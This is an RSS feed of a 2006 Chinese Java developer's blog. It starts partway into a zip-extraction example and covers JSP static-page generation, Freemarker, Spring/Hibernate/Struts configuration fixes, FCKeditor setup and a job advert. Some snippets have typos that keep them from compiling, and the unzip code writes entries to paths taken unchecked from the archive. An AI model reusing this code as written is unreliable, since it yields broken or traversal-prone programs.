						<p>   File dir = new File(fileName1.substring(0, fileName1.length() - 4));<br />   System.out.println(dir);<br />   dir.mkdir();// 创建文件夹<br />   ZipEntry ze;// 压缩内部文件入口<br />   while ( (ze = zipis.getNextEntry()) != null) {<br />    String file = fileName1.substring(0, fileName1.length() - 4)<br />      + "\\" + ze.getName();// 生成文件绝对路径及文件名<br />    File newFile = new File(file);<br />    System.out.println(file);<br />    newFile.createNewFile();<br />    DataInputStream data_input = new DataInputStream(zipis);// 源<br />    DataOutputStream fileWriter = new DataOutputStream(// 目标<br />      new FileOutputStream(newFile));</p>
						<p>    int BUFFER = 1024;<br />    byte[] buffer = new byte[BUFFER];<br />    int count = 0;<br />    while ( (count = data_input.read(buffer, 0, BUFFER)) != -1) {<br />     fileWriter.write(buffer, 0, count);<br />    }<br />    // 关闭流<br />    fileWriter.flush();<br />    fileWriter.close();</p>
						<p>   }<br />   zipis.close();<br />  } catch (Exception e) {<br />   e.printStackTrace();<br />  }<br /> }</p>
						<p> public static void main(String[] args)<br /> {<br />  zipTest2 z = new zipTest2();<br />  // z.makeZip();<br />  z.unzip();<br /> }</p>
						<p>}</p>
				</div>
		</div>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/67607.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-09-04 16:08 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/09/04/JAVA_IO_OP.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>招聘程序员，信息员等</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/08/06/zhaopin.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Sun, 06 Aug 2006 11:43:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/08/06/zhaopin.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/62070.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/08/06/zhaopin.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/62070.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/62070.html</trackback:ping><description><![CDATA[本工作室现招聘<br />技术员包括：各种程序员（语言不限），但要有经验，要求在北京，最好在海淀，丰台等程序员和<br />网页制作人员等等。<br />信息员：对于能提供项目信息（暂定为网站项目）的人员，将提供较高的提成。<br />若加盟请注明：使用语言种类，开发经验程度等<br />联系QQ：280199080。<br />加盟群：28339660<img src ="http://www.blogjava.net/zhanglijun33/aggbug/62070.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-08-06 19:43 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/08/06/zhaopin.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JSP生成静态页实践及其设计思想 </title><link>http://www.blogjava.net/zhanglijun33/archive/2006/07/28/Usetemplate.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Fri, 28 Jul 2006 06:42:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/07/28/Usetemplate.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/60568.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/07/28/Usetemplate.html#Feedback</comments><slash:comments>16</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/60568.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/60568.html</trackback:ping><description><![CDATA[
		<p>引子：<br />我们以两个大型网站为例作比较：<br />51job和智联招聘（先声明我不是为他们作广告，仅以他们为例作技术上的比较）<br />51job采用的是比较“先进”的php技术，而智联用的是比较落后的asp.但我们可能会明显的感觉到51job的反应速度相比智联招聘实在是太慢了，为什么会这样？细心的人可能会察觉到了。智联虽然用的是asp,但他采用了另一种更巧妙的技术--asp生成静态页技术。所有的动态页基本上都转换成了html静态页，不用访问数据库，当然反应快了。<br />下面我们讨论一下jsp怎么转换成html??<br />首先要做一个模板。后缀不限，但一般都用*.template例子<br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;#title#&lt;/title&gt;<br />&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt;<br />&lt;LINK href="../css.css" rel=stylesheet type=text/css&gt;<br />&lt;/head&gt;</p>
		<p>&lt;body&gt;<br />&lt;P align="center"&gt;<br />#title#&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;<br />作者：#author#&lt;BR&gt;&lt;BR&gt;<br />&lt;BR&gt;<br />#content#&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;<br />&lt;/P&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br />做一个处理模板的类或者jsp文件、(为说明问题我们从简单入手以一个jsp文件为例)<br /> filePath = request.getRealPath("/")+"WEB-INF/templates/template.htm";<br /> out.print(filePath);<br /> String templateContent="";<br /> FileInputStream fileinputstream = new FileInputStream(filePath);//读取模块文件<br /> int lenght = fileinputstream.available();<br /> byte bytes[] = new byte[lenght];<br /> fileinputstream.read(bytes);<br /> fileinputstream.close();<br /> templateContent = new String(bytes);<br /> out.print("以下是模板内容：&lt;br&gt;"+templateContent+"&lt;br&gt; 以下是置换以后的html内容&lt;br&gt;&lt;hr&gt;");<br /> templateContent=templateContent.replaceAll("#title#",title);<br /> templateContent=templateContent.replaceAll("#author#",editer);//替换掉模块中相应的地方<br /> templateContent=templateContent.replaceAll("#content#",content);<br /> // 根据时间得文件名<br /> Calendar calendar = Calendar.getInstance();<br /> String fileame = String.valueOf(calendar.getTimeInMillis()) +".html";<br /> fileame = request.getRealPath("/")+fileame;//生成的html文件保存路径<br /><br /> out.print(templateContent);<br /> FileOutputStream fileoutputstream = new FileOutputStream(fileame);//建立文件输出流<br /> byte tag_bytes[] = templateContent.getBytes();<br /> fileoutputstream.write(tag_bytes);<br /> fileoutputstream.close();<br />嗯，核心技术就是这样了，如果大家要求的性能更高，可以改用freemarker做模板。freemarker的使用方法可以参阅我的另一篇文章《<a class="singleposttitle" id="viewpost1_TitleUrl" href="/zhanglijun33/archive/2006/07/20/freemarker.html"><font color="#333333">Freemarker 模板工具的作用及使用</font></a>》</p>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/60568.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-07-28 14:42 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/07/28/Usetemplate.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Freemarker 模板工具的作用及使用（1）</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/07/20/freemarker.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Thu, 20 Jul 2006 10:06:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/07/20/freemarker.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/59265.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/07/20/freemarker.html#Feedback</comments><slash:comments>20</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/59265.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/59265.html</trackback:ping><description><![CDATA[今天下午才接触到Freemarker这个新组件，同样，它也是java开源代码之一。<br />经过今天的初步使用，感觉它的作用是减轻编写Servlet的工作量的。我想它也应该应用在jsp页面里面。有人说jsp还要经过转换才变成Servlet才能运行，比直接写servlet运行要慢，我觉得这种担心是多余的，因为jsp比servlet只慢一次（第一次请求为编译，之后就把servlet代码驻留在服务器了）。<br />我作Freemarker的试验的步骤是：<br />1,下载freemarker,address is :http://www.freemarker.org/freemarkerdownload.html<br />2,release it ,然后把\freemarker-2.3.8\lib下的freemarker加入到eclipse.<br />3.在WEB-INF/下面新建templates文件包，然后在里面新建扩展名为ftl的模板。<br />4.新建 servlet,in it write your code like this:<br />  void  init ()throw ServletException{<br />cfg = new Configuration();<br />cfg.setServletContextFromTemplateLoading(getServletContext,"WEB-INF/test.ftl");<br /><br />}<br /><br />public void doGet(HttpServletRequest request,HttpServlsetResponse response)throw ServletException ,IOException{<br />Map root = new HashMap();<br />root.put("message"，“hello world”);<br />Template t =cfg.getTemplate("text/html");<br />PrintWriter out = response.getWriter();<br />try{<br />t.prosess(root,out);//看到了吧？用模板来开发servlet可以让我们用一句代码代替一堆代码。<br />   }catch(TemplateException e ){ e.print...}<br />}<br /><img src ="http://www.blogjava.net/zhanglijun33/aggbug/59265.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-07-20 18:06 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/07/20/freemarker.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>spring,hibernate,struts应用中的错误及更正-（3）</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/07/11/STRUTS3.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Tue, 11 Jul 2006 07:10:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/07/11/STRUTS3.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/57650.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/07/11/STRUTS3.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/57650.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/57650.html</trackback:ping><description><![CDATA[这两天公司任务不紧，这样就给我不少做试验的机会和时间。今天的试验是在action里面写多个不同的方法，并且要得 到业务层的对象以便进一步处理数据。<br />首先我的action要继承DispatchAction.这样才能实现多个不同的方法放在一个action里。<br />2.在里面写入固定的方法：<br />public void setServlet(ActionServlet actionServlet){<br />   super.setServlet(actionServlet);<br />   ServletContext  servletContext =actionServlet.getServletContext();<br />  WebApplicationContext wac =  WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);<br />//然后就可以得到业务层的对象了。像我昨天说得那样做就行。（注：在这个方法里面可以得到多个不同对象，已经试验通过）<br />然后再一个得到service对象的方法，以供后面的方法使用。<br />3.多个jsp页面可以对应一个action吗？可以，已经试验通过。并且在struts_config.xml里面无须做任何改动。<br />4.myAction?method=addXX后面可以跟其他参数吗？可以，已经试验通过。<br />5，jsp向action发出请求的时候，为什么有时候出现空白异常？这时候你应该从两个方面进行检查<br />  1，检查你的struts_config.xml forwordname<br />   2以上经验是我苦想了一天才得到的。<img src ="http://www.blogjava.net/zhanglijun33/aggbug/57650.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-07-11 15:10 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/07/11/STRUTS3.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts,hibernate,spring应用过程中的错误及更正（每日更新）</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/07/10/zongjie.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Mon, 10 Jul 2006 08:22:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/07/10/zongjie.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/57522.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/07/10/zongjie.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/57522.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/57522.html</trackback:ping><description><![CDATA[上接“jsp页面得到业务层的对象”<br />1.我现在想用org.springframework.orm.hibernate.HibernateTransactionManager来给业务对象织入事务管理方法。但在调试的时候却发生了异常:Error registering bean with name 'myTransactionManager' defined in ServletContext resource [/WEB-INF/applicationContext.xml],系统在给myTransactionManager Bean注册的时候却找不到它的类。的确是很奇怪的问题，HibernateTransactionManager明明就在这儿摆着嘛，怎么系统就是找不到呢。经过几个小时的查找代码档案，发现原来我用的是Hibernate3版本。相应的org.springframework.orm.hibernate.HibernateTransactionManager也应该改成：org.springframework.orm.hibernate3.HibernateTransactionManager.汗！java程序员真累。<br />2.错误2，当我想在页面上得到织入事务管理的service对象时，又有一个错误来了：<br />org.apache.jasper.JasperException: $Proxy2<br />org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:372)<br />晕吧，代理人的待遇没问题了，可是它就是不给你做代理。经过在jsp页面上的排察：终于找到这一句：<br />   RealnewsService newsservice=(RealnewsService)wac.getBean("newsService");<br />它有什么问题吗？初学者看不出什么错误来，因为语法上一点错也没有，后来经高手指点才如梦初醒：<br />它的声明类型应该是相应的接口。这是spring一贯的风格，（但这至于让我出错吗？郁闷），好。到今天为址，我和关注我的博客的同学应该对spring应用程序的核心配置文件有了一定的理解了。<br />总结一句话：解决问题的方法是：来了问题不要怕，用朴素的理念和执著的态度去战胜bug  ;-)<img src ="http://www.blogjava.net/zhanglijun33/aggbug/57522.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-07-10 16:22 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/07/10/zongjie.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>我想在jsp页面里得到一个业务对象。报错，请高手指教</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/07/06/question.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Thu, 06 Jul 2006 10:03:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/07/06/question.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/57004.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/07/06/question.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/57004.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/57004.html</trackback:ping><description><![CDATA[这是我的初始化Bean工厂. <br />ApplicationContext ac=new FileSystemXmlApplicationContext("/WEB-INF/applicationContext.xml");<br />applicationContext.xml就放在WEB-INF下。可是系统却报错IOException，<br />系统找不到指定的文件applicationContext.xml，这是为什么？？？？？？<br />已经解决 <br />原因很多。我觉得最关键原因是：对xml配置细节不重视； <br />1.jsp是web工程，这儿应该用webApplicationContext加载applicationContext.xml，在加载它的过程中还有找不到它的时候，我找了不少文档，有的说应该把它放到WEB-INF/classes/下才对，但我实验时还是找不到。用了个笨法，复制两份每个目录放一个--解决 <br />2.提示service bean找不到注入的XXTarget bean，应该把属性下的ref 用bean表示，不应该用local表示. <br />3.提示hibernate sql 异常，提示在我们的数据库里找不到我们的表。再往下看发现我们的表名都变长了（仔细观察发现其结构是数据库名—表名）。这是怎么回事？？？ <br />经过一番折腾，发现在hbm.xml里面有一个可先项catalog="dbname".它是我们在做配置的时候组件自己加上去的，这样自动自成的表名是对应的标准表名的。但遗憾的是我们通常不按标准给表起名。所以在这儿只能把catalog手动的去掉了。 <br />好了。这样我们就可以在jsp页面里得到业务层的对象了，方法是传统的 <br />wac.getBean("serviceID"); <img src ="http://www.blogjava.net/zhanglijun33/aggbug/57004.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-07-06 18:03 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/07/06/question.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>进一步使用FCK在线编辑器</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/07/05/fckeditor.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Wed, 05 Jul 2006 01:46:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/07/05/fckeditor.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/56649.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/07/05/fckeditor.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/56649.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/56649.html</trackback:ping><description><![CDATA[
		<span>FCK的下载就不用说了，用户可以到网上搜索<br />1.把FCKeditor/WEB-INF/lib下的2个jar包放入工程相应目录下<br />把FCKeditor/wEB-INF下的FCKeditor.tld放入工程WEB-INF下<br />2.把FCKeditor文件包放入工程webMoudle根目录下。<br />3，把\FCKeditor-2.3\web\WEB-INF\web.xml添加进工程的Web.xml里。<br />4.引用页面按示例即可。<br />5.在FCKeditor/fckcig.js里可以修改编辑器的选项：包括默认文字，编辑器功能选项即：FCKConfig.ToolbarSets["Default"]里面的功能选项：无用的可以用/* */括起。</span>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/56649.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-07-05 09:46 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/07/05/fckeditor.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JBuilder,i am sorry我要找eclipse去了</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/07/05/zhanglijun.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Wed, 05 Jul 2006 01:33:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/07/05/zhanglijun.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/56644.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/07/05/zhanglijun.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/56644.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/56644.html</trackback:ping><description><![CDATA[&nbsp;&nbsp; 2006年7月5日9:29:59<img height="19" src="http://www.blogjava.net/Emoticons/emrainbow.gif" width="19" border="0"  alt="" /><img height="19" src="http://www.blogjava.net/Emoticons/emrose.gif" width="19" border="0"  alt="" /><br />
我接触的第一个java开发工具是jcreator，简单方便呵呵，不过太简单了未必是什么好事，如果我只是写一些简单的javaBean，可以用它，但我写一些jsp程序，它就帮不上什么忙了。所以，后来我喜欢上了JBuilder，而且第一次用是<font style="background-color: #ffffff">JBuilder9,然后历经了jb2005，jb2006</font>
<p><span>&nbsp;&nbsp;&nbsp; 她很强大，写JavaBean或者Swing界面的时候只需要轻点几下鼠标，输入几个参数，源代码哗哗的就自动生成了，这方面比微软的VB毫不逊色。你要做的就是写一些核心的逻辑。那时候，我偶而也听见过eclipse，不过我没理她，为什么理她呢，你知道熟悉一个工具并不十分轻松，而且JBuilder又没什么对不起我的地方。</span></p>
<p><span>&nbsp;&nbsp; 后来我换了一家公司，这里的人主要用eclipse，此时的eclipse已经名声雀起了。我也趁购入公司的时候熟悉一下它的用法。的确很麻烦，你不给她配置插件，她什么都不会做，像个白痴，哪像我们的JBuilder。java世界永远都是风起云涌的，hibernate,Spring等工具接踵而至。它们号称自己是是为了减轻程序员的工作量的。好像别人都在用，没办法，学吧/学了就要用，但可怜的jbuilder还没有支持它们，而mycelipse这个插件已经完全支持他们了。我没办法不喜欢myeclipse.你先建完数据库，做好各个表之间的外键关系。然后在myeclipse里面配置hibernate,spring的性能/轻点几下按钮，俺那老天爷，那些xml,pojo代码又是哗哗地自动生成了。连sessionFactory，DateSources都一个不落，妈呀，俺这个老土就像刘姥姥头一次进大观园--看傻了眼，这时才知道为什么那么多人都放着Jbuilder不用了。</span></p>
<p><span>&nbsp; 唉真是没办法啊，不得不和jbuilder说声：回见吧您。</span></p>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/56644.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-07-05 09:33 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/07/05/zhanglijun.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>